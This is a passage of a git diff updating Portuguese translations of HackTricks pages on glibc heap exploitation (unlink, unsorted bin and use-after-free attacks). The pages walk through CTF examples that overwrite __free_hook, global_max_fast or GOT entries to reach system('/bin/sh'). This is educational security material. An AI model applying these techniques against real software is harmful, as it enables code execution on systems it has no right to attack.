{% endhint %} ## Informações Básicas -Quando este ataque foi descoberto, principalmente permitia um WWW (Write What Where), no entanto, alguns **checks foram adicionados** tornando a nova versão do ataque mais interessante e mais complexa e **inútil**. +Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas **verificações foram adicionadas**, tornando a nova versão do ataque mais interessante, mais complexa e **inútil**. ### Exemplo de Código: @@ -94,48 +94,48 @@ return 0; ### Objetivo -Este ataque permite **alterar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se esta nova localização (arredores de onde o ponteiro estava localizado) tiver informações interessantes, como outras alocações controláveis / pilha..., é possível ler/sobrescrevê-las para causar um dano maior. +Este ataque permite **mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo**. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior. -* Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário -* Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever nele, é possível fazer com que os outros ponteiros apontem para outros endereços.\ -Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como na GOT). +* Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário. +* Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.\ +Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT). ### Requisitos -* Algum controle em uma memória (por exemplo, pilha) para criar um par de chunks dando valores a alguns dos atributos. -* Vazamento de pilha para definir os ponteiros do chunk falso. +* Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos. +* Vazar a pilha para definir os ponteiros do chunk falso. ### Ataque -* Existem um par de chunks (chunk1 e chunk2) +* Existem alguns chunks (chunk1 e chunk2) * O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2. * No chunk1, o atacante cria a estrutura de um chunk falso: -* Para contornar proteções, ele garante que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating` -* e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro do chunk1 está armazenado com deslocamentos de -3 e -2 respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado: +* Para contornar as proteções, ele se certifica de que o campo `size` está correto para evitar o erro: `corrupted size vs. prev_size while consolidating` +* e os campos `fd` e `bk` do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2 respectivamente, então `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

* Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido. -* Quando o segundo chunk é liberado, então este chunk falso é desvinculado acontecendo: +* Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo: * `fake_chunk->fd->bk` = `fake_chunk->bk` * `fake_chunk->bk->fd` = `fake_chunk->fd` -* Anteriormente foi feito com que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontassem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista vinculada válida). Como **ambos estão apontando para a mesma localização**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**. -* Isso irá **sobrescrever o ponteiro para o chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**. -* Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele será capaz de **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e ponteiros das variáveis locais. Até mesmo modificando novamente o endereço do chunk1 armazenado na pilha para uma localização diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele será capaz de escrever em qualquer lugar. -* Note que isso foi possível porque os **endereços são armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços para o chunk falso estão sendo armazenados**. +* Anteriormente, foi feito para que `fake_chunk->fd->bk` e `fake_chunk->bk->fd` apontem para o mesmo lugar (a localização na pilha onde `chunk1` estava armazenado, então era uma lista encadeada válida). Como **ambos estão apontando para o mesmo local**, apenas o último (`fake_chunk->bk->fd = fake_chunk->fd`) terá **efeito**. +* Isso irá **sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha**. +* Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele será capaz de **escrever dentro da pilha**, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar. +* Note que isso foi possível porque os **endereços estão armazenados na pilha**. O risco e a exploração podem depender de **onde os endereços do chunk falso estão sendo armazenados**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

## Referências * [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit) -* Embora seja estranho encontrar um ataque de unlink mesmo em um CTF, aqui estão alguns writeups onde esse ataque foi usado: +* Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado: * Exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html) -* Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque de unlink é realizado para poder alocar um chunk aqui, sendo assim capaz de controlar os ponteiros do array de endereços malloc'ed. Em seguida, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para a GOT, modificar endereços de funções para obter vazamentos e RCE. +* Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE. * Outro exemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html) -* Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque de unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever essa alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para a GOT de atoi, imprimi-la para obter um vazamento de libc e, em seguida, sobrescrever a GOT de atoi com o endereço de um one gadget. -* Exemplo de CTF com funções malloc e free personalizadas que exploram uma vulnerabilidade muito semelhante ao ataque de unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) -* Há um estouro que permite controlar os ponteiros FD e BK do malloc personalizado que será liberado (personalizado). Além disso, o heap tem o bit exec, então é possível vazar um endereço de heap e apontar uma função da GOT para um chunk de heap com um shellcode para executar. +* Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget. +* Exemplo de CTF com funções de malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) +* Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, o heap tem o bit de execução, então é possível vazar um endereço do heap e apontar uma função do GOT para um chunk do heap com um shellcode para executar. {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -143,11 +143,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/unsorted-bin-attack.md b/binary-exploitation/libc-heap/unsorted-bin-attack.md index 0e7e68af7..a157ef16c 100644 --- a/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -1,4 +1,4 @@ -# Ataque ao Unsorted Bin +# Ataque de Bin Não Ordenado {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -6,65 +6,65 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## Informações Básicas -Para mais informações sobre o que é um unsorted bin, consulte esta página: +Para mais informações sobre o que é um bin não ordenado, confira esta página: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -As listas não ordenadas são capazes de escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele poderia ser capaz de **escrever esse endereço em um endereço arbitrário** que poderia ser útil para vazar endereços do Glibc ou contornar algumas defesas. +Listas não ordenadas são capazes de escrever o endereço para `unsorted_chunks (av)` no endereço `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do bin não ordenado, ele poderá **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para vazar endereços Glibc ou contornar alguma defesa. -Portanto, basicamente, esse ataque permite **definir um número grande em um endereço arbitrário**. Esse número grande é um endereço, que poderia ser um endereço de heap ou um endereço do Glibc. Um alvo típico é o **`global_max_fast`** para permitir a criação de bins rápidos com tamanhos maiores (e passar de um ataque unsorted bin para um ataque fast bin). +Assim, basicamente, esse ataque permite **definir um grande número em um endereço arbitrário**. Esse grande número é um endereço, que pode ser um endereço de heap ou um endereço Glibc. Um alvo típico é **`global_max_fast`** para permitir a criação de bins de fast bin com tamanhos maiores (e passar de um ataque de bin não ordenado para um ataque de fast bin). {% hint style="success" %} -Analisando o exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache), é possível ver que **atualmente** o erro **`malloc(): unsorted double linked list corrupted`** é acionado. +Dando uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache), é possível ver que **hoje em dia** o erro **`malloc(): unsorted double linked list corrupted`** é acionado. -Portanto, esse ataque unsorted bin agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada para que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena. +Portanto, esse ataque de bin não ordenado agora (entre outras verificações) também requer ser capaz de corrigir a lista duplamente encadeada, de modo que isso seja contornado `victim->bk->fd == victim` ou não `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso está apontando para a arena. {% endhint %} {% hint style="danger" %} -Observe que esse ataque corrompe o unsorted bin (portanto, também o small e large). Portanto, agora só podemos **usar alocações do fast bin** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará**. +Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Portanto, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.** -Observe que sobrescrever **`global_max_fast`** pode ajudar nesse caso, confiando que o fast bin será capaz de lidar com todas as outras alocações até que o exploit seja concluído. +Note que sobrescrever **`global_max_fast`** pode ajudar neste caso, confiando que o fast bin será capaz de cuidar de todas as outras alocações até que a exploração seja concluída. {% endhint %} -O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explica muito bem, embora se você modificar as alocações para alocar memória grande o suficiente para não terminar em um Tcache, você verá que o erro mencionado anteriormente aparece, impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`** +O código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) explica isso muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não acabar em um Tcache, você pode ver que o erro mencionado anteriormente aparece, impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`** -## Ataque de Vazamento de Informações do Unsorted Bin +## Ataque de Vazamento de Informação de Bin Não Ordenado -Este é na verdade um conceito muito básico. Os chunks no unsorted bin terão ponteiros. O primeiro chunk no unsorted bin terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\ -Portanto, se você pode **colocar um chunk dentro de um unsorted bin e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informações do Glibc**. +Este é, na verdade, um conceito muito básico. Os chunks no bin não ordenado terão ponteiros. O primeiro chunk no bin não ordenado terá, na verdade, os links **`fd`** e **`bk`** **apontando para uma parte da arena principal (Glibc)**.\ +Portanto, se você puder **colocar um chunk dentro de um bin não ordenado e lê-lo** (uso após liberação) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **vazamento de informação Glibc**. -Um [**ataque semelhante usado neste artigo**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o top chunk) para que uma sobrecarga de byte nulo em B fosse usada para fazer C indicar que B estava inutilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\ -Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços vazados do libc foram escritos em B de onde foram vazados. +Um [**ataque semelhante usado neste relatório**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) foi abusar de uma estrutura de 4 chunks (A, B, C e D - D é apenas para evitar a consolidação com o chunk superior), então um estouro de byte nulo em B foi usado para fazer C indicar que B estava não utilizado. Além disso, em B, os dados `prev_size` foram modificados para que o tamanho, em vez de ser o tamanho de B, fosse A+B.\ +Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk de tamanho A foi alocado e então os endereços da libc vazados foram escritos em B, de onde foram vazados. ## Referências e Outros Exemplos * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap) -* O objetivo é sobrescrever uma variável global com um valor maior que 4869 para ser possível obter a flag e o PIE não estar habilitado. +* O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado. * É possível gerar chunks de tamanhos arbitrários e há um estouro de heap com o tamanho desejado. -* O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estourado e chunk2 para que o top chunk não consolide os anteriores. -* Em seguida, o chunk1 é liberado e o chunk0 é estourado para que o ponteiro `bk` do chunk1 aponte para: `bk = magic - 0x10` -* Em seguida, o chunk3 é alocado com o mesmo tamanho que o chunk1, o que acionará o ataque unsorted bin e modificará o valor da variável global, tornando possível obter a flag. +* O ataque começa criando 3 chunks: chunk0 para abusar do estouro, chunk1 para ser estourado e chunk2 para que o chunk superior não consolide os anteriores. +* Então, chunk1 é liberado e chunk0 é estourado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10` +* Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que acionará o ataque de bin não ordenado e modificará o valor da variável global, tornando possível obter a flag. * [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html) -* A função de mesclagem é vulnerável porque se ambos os índices passados forem iguais, ela realocará nele e então o liberará, mas retornando um ponteiro para aquela região liberada que pode ser usada. -* Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o top chunk. Em seguida, a **função de mesclagem é chamada com o chunk0** duas vezes, o que causará um uso após a liberação. -* Em seguida, a função **`view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), que irá **vazar um endereço do libc**. -* Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`** para que nenhum fastbin seja usado, um ataque unsorted bin será usado para sobrescrever a variável global `global_max_fast`. -* Em seguida, é possível chamar a função edit com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Em seguida, criando um novo chunk usará o endereço de liberação comprometido anteriormente (0x20) e **acionará o ataque unsorted bin** sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins. -* Agora um **ataque fast bin** é realizado: -* Primeiramente, é descoberto que é possível trabalhar com **chunks rápidos de tamanho 200** na localização de **`__free_hook`**: +* A função de mesclagem é vulnerável porque se ambos os índices passados forem o mesmo, ela irá realocar nele e depois liberá-lo, mas retornando um ponteiro para essa região liberada que pode ser usada. +* Portanto, **2 chunks são criados**: **chunk0** que será mesclado consigo mesmo e chunk1 para evitar a consolidação com o chunk superior. Então, a **função de mesclagem é chamada com chunk0** duas vezes, o que causará um uso após liberação. +* Então, a **função `view`** é chamada com o índice 2 (que é o índice do chunk de uso após liberação), o que **vazará um endereço da libc**. +* Como o binário tem proteções para alocar apenas tamanhos maiores que **`global_max_fast`**, nenhum fastbin é usado, um ataque de bin não ordenado será usado para sobrescrever a variável global `global_max_fast`. +* Então, é possível chamar a função de edição com o índice 2 (o ponteiro de uso após liberação) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criando um novo chunk, o endereço livre anteriormente comprometido (0x20) **acionará o ataque de bin não ordenado**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins. +* Agora um **ataque de fast bin** é realizado: +* Primeiro de tudo, descobre-se que é possível trabalhar com fast **chunks de tamanho 200** na localização de **`__free_hook`**: *
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -73,17 +73,17 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-* Se conseguirmos obter um fast chunk de tamanho 0x200 nessa localização, será possível sobrescrever um ponteiro de função que será executado -* Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, dessa forma obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin. -* Em seguida, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para a função **`__free_hook`** anterior. -* Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. -* E finalmente um chunk contendo a string `/bin/sh\x00` é liberado chamando a função delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. +* Se conseguirmos obter um fast chunk de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado. +* Para isso, um novo chunk de tamanho `0xfc` é criado e a função de mesclagem é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin. +* Então, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função anterior **`__free_hook`**. +* Então, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, assim outro chunk de tamanho `0x1f8` é criado para obter um chunk de fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**. +* E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de deletar, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro. * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) -* Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um vazamento de informações da libc e depois realizar um ataque fast bin para sobrescrever o malloc hook com um endereço de one gadget -* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) +* Outro exemplo de abuso de um estouro de 1B para consolidar chunks no bin não ordenado e obter um vazamento de informação da libc e depois realizar um ataque de fast bin para sobrescrever o malloc hook com um endereço de um gadget. +* [**Fábrica de Robôs. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) * Só podemos alocar chunks de tamanho maior que `0x100`. -* Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits). -* Ataque Fast Bin para modificar um array global de chunks. Isso fornece um primitivo de leitura/escrita arbitrário, que permite modificar a GOT e definir algumas funções para apontar para `system`. +* Sobrescrever `global_max_fast` usando um ataque de Bin Não Ordenado (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits). +* Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`. {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -91,11 +91,11 @@ Aprenda e pratique Hacking GCP: -Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/libc-heap/use-after-free/README.md b/binary-exploitation/libc-heap/use-after-free/README.md index 1247c4d7f..eca93f192 100644 --- a/binary-exploitation/libc-heap/use-after-free/README.md +++ b/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,29 +1,29 @@ -# Uso Após Liberação +# Use After Free {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Informações Básicas +## Basic Information -Como o nome sugere, essa vulnerabilidade ocorre quando um programa **aloca algum espaço** na heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**. +Como o nome sugere, essa vulnerabilidade ocorre quando um programa **armazena algum espaço** no heap para um objeto, **escreve** algumas informações lá, **libera** aparentemente porque não é mais necessário e então **acessa novamente**. -O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Portanto, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados terão sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram originalmente armazenados (se era um ponteiro de uma função que seria chamada, um atacante poderia controlá-lo). +O problema aqui é que não é ilegal (não **haverá erros**) quando uma **memória liberada é acessada**. Então, se o programa (ou o atacante) conseguir **alocar a memória liberada e armazenar dados arbitrários**, quando a memória liberada for acessada a partir do ponteiro inicial, **esses dados teriam sido sobrescritos**, causando uma **vulnerabilidade que dependerá da sensibilidade dos dados** que foram armazenados originalmente (se era um ponteiro de uma função que seria chamada, um atacante poderia saber controlá-la). -### Ataque First Fit +### First Fit attack -Um ataque First Fit visa a forma como alguns alocadores de memória, como o glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista e novas solicitações de memória são retiradas dessa lista do final. Os atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de 